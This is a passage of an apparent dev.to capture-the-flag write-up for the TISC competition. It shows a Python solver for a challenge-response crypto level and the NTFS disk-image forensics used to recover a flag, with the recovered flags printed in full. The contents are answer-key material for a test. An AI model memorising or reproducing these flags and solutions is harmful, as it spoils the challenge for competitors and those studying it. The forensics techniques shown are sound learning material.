&lt;/span&gt;&lt;span class="n"&gt;SECRET_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SKEY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;input_vec&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;strtovec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;InputVector: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="n"&gt;answer_vec&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SECRET_KEY&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt; &lt;span class="n"&gt;input_vec&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
  &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;answer_vec&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
  &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;base&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;hacker@hackerbook Level 2]&lt;span class="nv"&gt;$ &lt;/span&gt;python3 solution.py 
InputVector: 10010100
11011110
InputVector: 01010111
01011010
InputVector: 00000111
10000011
InputVector: 00011011
10010000
InputVector: 11110101
01100110
InputVector: 00100011
00001100
InputVector: 10100111
00101001
InputVector: 10110000
01010001
&lt;span class="o"&gt;(&lt;/span&gt;base&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;hacker@hackerbook Level 2]&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;hacker@hackerbook src]&lt;span class="nv"&gt;$ &lt;/span&gt;nc chal00bq3ouweqtzva9xcobep6spl5m75fucey.ctf.sg 56765

 ::::::::        :::       :::     :::     :::   :::
:+:    :+:       :+:       :+:   :+: :+:   :+:   :+:
      +:+        +:+       +:+  +:+   +:+   +:+ +:+
    +#+          +#+  +:+  +#+ +#++:++#++:   +#++:
  +#+            +#+ +#+#+ +#+ +#+     +#+    +#+
 &lt;span class="c"&gt;#+#              #+#+# #+#+#  #+#     #+#    #+#&lt;/span&gt;
&lt;span class="c"&gt;##########         ###   ###   ###     ###    ###&lt;/span&gt;

:::    ::: :::::::::: :::   :::          :::               :::
:+:   :+:  :+:        :+:   :+:         :+:                 :+:
+:+  +:+   +:+         +:+ +:+         +:+                   +:+
+#++:++    +#++:++#     +#++:         +#+    +#++:++#++:++    +#+
+#+  +#+   +#+           +#+           +#+                   +#+
&lt;span class="c"&gt;#+#   #+#  #+#           #+#            #+#                 #+#&lt;/span&gt;
&lt;span class="c"&gt;###    ### ##########    ###             ###              ###&lt;/span&gt;

:::     ::: :::::::::: :::::::::  ::::::::::: :::::::::: :::   :::
:+:     :+: :+:        :+:    :+:     :+:     :+:        :+:   :+:
+:+     +:+ +:+        +:+    +:+     +:+     +:+         +:+ +:+
+#+     +:+ +#++:++#   +#++:++#:      +#+     :#::+::#     +#++:
 +#+   +#+  +#+        +#+    +#+     +#+     +#+           +#+
  &lt;span class="c"&gt;#+#+#+#   #+#        #+#    #+#     #+#     #+#           #+#&lt;/span&gt;
    &lt;span class="c"&gt;###     ########## ###    ### ########### ###           ###&lt;/span&gt;

&lt;span class="o"&gt;=============&lt;/span&gt;
Challenge Me!
&lt;span class="o"&gt;=============&lt;/span&gt;
Challenge Me &lt;span class="c"&gt;#01 &amp;lt;-- 10000000&lt;/span&gt;
01000000
00100000
00010000
00001000
00000100
00000010
00000001
My Response &lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; 00111100
Challenge Me &lt;span class="c"&gt;#02 &amp;lt;-- My Response --&amp;gt; 00100010&lt;/span&gt;
Challenge Me &lt;span class="c"&gt;#03 &amp;lt;-- My Response --&amp;gt; 10010110&lt;/span&gt;
Challenge Me &lt;span class="c"&gt;#04 &amp;lt;-- My Response --&amp;gt; 11111011&lt;/span&gt;
Challenge Me &lt;span class="c"&gt;#05 &amp;lt;-- My Response --&amp;gt; 11110001&lt;/span&gt;
Challenge Me &lt;span class="c"&gt;#06 &amp;lt;-- My Response --&amp;gt; 00011001&lt;/span&gt;
Challenge Me &lt;span class="c"&gt;#07 &amp;lt;-- My Response --&amp;gt; 10010110&lt;/span&gt;
Challenge Me &lt;span class="c"&gt;#08 &amp;lt;-- My Response --&amp;gt; 00001100&lt;/span&gt;
&lt;span class="o"&gt;==============&lt;/span&gt;
Challenge You!
&lt;span class="o"&gt;==============&lt;/span&gt;
Challenge You &lt;span class="c"&gt;#01 --&amp;gt; 10010100&lt;/span&gt;
Your Response &amp;lt;&lt;span class="nt"&gt;--&lt;/span&gt; 11011110
Challenge You &lt;span class="c"&gt;#02 --&amp;gt; 01010111&lt;/span&gt;
Your Response &amp;lt;&lt;span class="nt"&gt;--&lt;/span&gt; 01011010
Challenge You &lt;span class="c"&gt;#03 --&amp;gt; 00000111&lt;/span&gt;
Your Response &amp;lt;&lt;span class="nt"&gt;--&lt;/span&gt; 10000011
Challenge You &lt;span class="c"&gt;#04 --&amp;gt; 00011011&lt;/span&gt;
Your Response &amp;lt;&lt;span class="nt"&gt;--&lt;/span&gt; 10010000
Challenge You &lt;span class="c"&gt;#05 --&amp;gt; 11110101&lt;/span&gt;
Your Response &amp;lt;&lt;span class="nt"&gt;--&lt;/span&gt; 01100110
Challenge You &lt;span class="c"&gt;#06 --&amp;gt; 00100011&lt;/span&gt;
Your Response &amp;lt;&lt;span class="nt"&gt;--&lt;/span&gt; 00001100
Challenge You &lt;span class="c"&gt;#07 --&amp;gt; 10100111&lt;/span&gt;
Your Response &amp;lt;&lt;span class="nt"&gt;--&lt;/span&gt; 00101001
Challenge You &lt;span class="c"&gt;#08 --&amp;gt; 10110000&lt;/span&gt;
Your Response &amp;lt;&lt;span class="nt"&gt;--&lt;/span&gt; 01010001
&lt;span class="o"&gt;========================&lt;/span&gt;
All challenges passed :&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;========================&lt;/span&gt;
&lt;span class="o"&gt;=================================================================&lt;/span&gt;
Here is your flag: TISC&lt;span class="o"&gt;{&lt;/span&gt;d0N7_R0lL_Ur_0wN_cRyp70_7a25ee4d777cc6e9&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;=================================================================&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;hacker@hackerbook src]&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Flag
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;TISC{d0N7_R0lL_Ur_0wN_cRyp70_7a25ee4d777cc6e9}&lt;/code&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Level 3 - Part 1
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqnmrp31yuysb2hycwrz6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqnmrp31yuysb2hycwrz6.png" width="579" height="454"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmblcppjifo0doar672x7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmblcppjifo0doar672x7.png" width="414" height="210"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Solution
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Mounting
&lt;/h3&gt;

&lt;p&gt;This looks like the image of a partition &lt;a href="https://superuser.com/questions/1502676/what-are-the-hidden-sectors-in-the-output-of-the-file-command-for-partitions" rel="noopener noreferrer"&gt;https://superuser.com/questions/1502676/what-are-the-hidden-sectors-in-the-output-of-the-file-command-for-partitions&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If cannot mount, run testdisk to fix the boot sector&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;hacker@hackerbook tmp]&lt;span class="nv"&gt;$ &lt;/span&gt;file PATIENT0 
PATIENT0: DOS/MBR boot sector, code offset 0x52+2, OEM-ID &lt;span class="s2"&gt;"NTFS    "&lt;/span&gt;, sectors/cluster 8, Media descriptor 0xf8, sectors/track 0, FAT &lt;span class="o"&gt;(&lt;/span&gt;1Y bit by descriptor&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; NTFS, physical drive 0xab3566f7, sectors 12287, &lt;span class="nv"&gt;$MFT&lt;/span&gt; start cluster 4, &lt;span class="nv"&gt;$MFTMirror&lt;/span&gt; start cluster 767, bytes/RecordSegment 2^&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;-1&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;246&lt;span class="o"&gt;)&lt;/span&gt;, clusters/index block 1, serial number 05c66c6b160cddda1
&lt;span class="o"&gt;[&lt;/span&gt;hacker@hackerbook tmp]&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; /tmp/t
&lt;span class="o"&gt;[&lt;/span&gt;hacker@hackerbook tmp]&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;mount PATIENT0 /tmp/t
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; password &lt;span class="k"&gt;for &lt;/span&gt;hacker: 
&lt;span class="o"&gt;[&lt;/span&gt;hacker@hackerbook tmp]&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /tmp/t
&lt;span class="o"&gt;[&lt;/span&gt;hacker@hackerbook t]&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-al&lt;/span&gt;
total 12
drwxrwxrwx  1 root root 4096 Aug 20 01:37 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxrwxrwt 17 root root  540 Aug 27 01:32 ..
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt;  1 root root 6049 Aug 20 00:40 message.png
&lt;span class="o"&gt;[&lt;/span&gt;hacker@hackerbook t]&lt;span class="err"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbyrnmd8d2t6ma90wmiev.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbyrnmd8d2t6ma90wmiev.png" alt="message" width="800" height="37"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I used an image to text converter &lt;a href="https://www.imagetotext.info/" rel="noopener noreferrer"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;GIXFI2DJOJZXI6JAMZXXEIDUNBSSAZTMMFTT6ICHN4QGM2LOMQQHI2DFEBZXI4TFMFWS4CQ=&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;I then used cyberchef to identify it was base32, and then convert it as such.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;hacker@hackerbook t]&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"GIXFI2DJOJZXI6JAMZXXEIDUNBSSAZTMMFTT6ICHN4QGM2LOMQQHI2DFEBZXI4TFMFWS4CQ="&lt;/span&gt; | &lt;span class="nb"&gt;base32&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
2.Thirsty &lt;span class="k"&gt;for &lt;/span&gt;the flag? Go find the stream.
&lt;span class="o"&gt;[&lt;/span&gt;hacker@hackerbook t]&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Autopsy
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fecqy1534jm1tyt7l2gfz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fecqy1534jm1tyt7l2gfz.png" width="800" height="166"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcac0121awot6m3spphgv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcac0121awot6m3spphgv.png" width="800" height="319"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwz01euoiozkvnkox7h4i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwz01euoiozkvnkox7h4i.png" width="800" height="292"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3fz73lvw00kkxg8wkiv2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3fz73lvw00kkxg8wkiv2.png" width="800" height="324"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;tsk_recover PATIENT0 files      
Files Recovered: 1

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls &lt;/span&gt;files                                        
broken.pdf

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fweyjwzme49mssevrn3y4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fweyjwzme49mssevrn3y4.png" width="655" height="540"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;exiftool /tmp/broken.pdf 
ExifTool Version Number         : 12.36
File Name                       : broken.pdf
Directory                       : /tmp
File Size                       : 499 KiB
File Modification Date/Time     : 2022:08:27 05:24:56-04:00
File Access Date/Time           : 2022:08:27 05:24:57-04:00
File Inode Change Date/Time     : 2022:08:27 05:24:56-04:00
File Permissions                : &lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt;
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Author                          : user
Create Date                     : 2022:08:20 03:35:28+10:00
Modify Date                     : 2022:08:20 03:35:28+10:00
Producer                        : Microsoft: Print To PDF
Title                           : Microsoft Word - Document1
Page Count                      : 1

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  File Stream
&lt;/h3&gt;

&lt;p&gt;When I read the word &lt;strong&gt;stream&lt;/strong&gt;, I immediately thought of file stream, which lead me to this: &lt;br&gt;
&lt;a href="https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams" rel="noopener noreferrer"&gt;https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftm2dmpmkx9huymnffmcx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftm2dmpmkx9huymnffmcx.png" width="800" height="139"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp1ccifnsbpmdjkg8rfuv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp1ccifnsbpmdjkg8rfuv.png" width="800" height="84"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Clues
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;The BPB is broken, can you fix it?&lt;/li&gt;
&lt;li&gt;Thirsty for the flag? Go find the stream.&lt;/li&gt;
&lt;li&gt;Are these True random bytes for Cryptology&lt;/li&gt;
&lt;li&gt;If you need a password, the original reading of the BPB was actually Checked and ReChecked 32 times!&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  Googling for terms
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0fag564xgravmwwk81sn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0fag564xgravmwwk81sn.png" width="800" height="554"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I assume its about analysing the BIOS Parameter Blocks. Now need to find the term to do so.&lt;/p&gt;
&lt;h3&gt;
  
  
  Analysing BPB
&lt;/h3&gt;

&lt;p&gt;I opened the file in a hex editor and tried to check on the BIOS Parameter Blocks&lt;/p&gt;

&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/NTFS#Partition_Boot_Sector_(PBS)" rel="noopener noreferrer"&gt;https://en.wikipedia.org/wiki/NTFS#Partition_Boot_Sector_(PBS)&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Comparison shows 0x18, 0x1a, 0x1c values are 0&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.google.com/search?q=The+number+of+disk+sectors+in+a+drive+track.&amp;amp;rlz=1C1ONGR_enSG945SG945&amp;amp;sourceid=chrome&amp;amp;ie=UTF-8" rel="noopener noreferrer"&gt;https://www.google.com/search?q=The+number+of+disk+sectors+in+a+drive+track.&amp;amp;rlz=1C1ONGR_enSG945SG945&amp;amp;sourceid=chrome&amp;amp;ie=UTF-8&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;0x28 is diff but its because its the partition size, 0x48 diff because unique, 0x20 is diff but its useless&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyp2on52ns18hhrzbn7nh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyp2on52ns18hhrzbn7nh.png" width="452" height="481"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fju9crn2b53jminitiyqh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fju9crn2b53jminitiyqh.png" width="402" height="178"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;End of Sector Marking&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnykqdj8dr85nhml60ijm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnykqdj8dr85nhml60ijm.png" width="416" height="71"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;According to Wikipedia, Sector 1 0x20&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft2vb7378t3p3sa8vz9nw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft2vb7378t3p3sa8vz9nw.png" width="800" height="42"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Byte Offset 0x20 is supposed to be all &lt;code&gt;00&lt;/code&gt;, while 0x24 is supposed to be &lt;code&gt;80 00 80 00&lt;/code&gt; (Little Endian, causing things to be reversed. However, in the file they are different, as shown.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3eqb1v7tvnjowewjbkva.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3eqb1v7tvnjowewjbkva.png" width="420" height="180"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Selecting those 4 bytes and wrapping them gives the flag&lt;/p&gt;
&lt;h2&gt;
  
  
  Flag
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;TISC{f76635ab}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Level 3 - Part 2
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk8fpv3anrwtj6cnlqdbk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk8fpv3anrwtj6cnlqdbk.png" width="578" height="593"&gt;&lt;/a&gt;&lt;/p&gt;

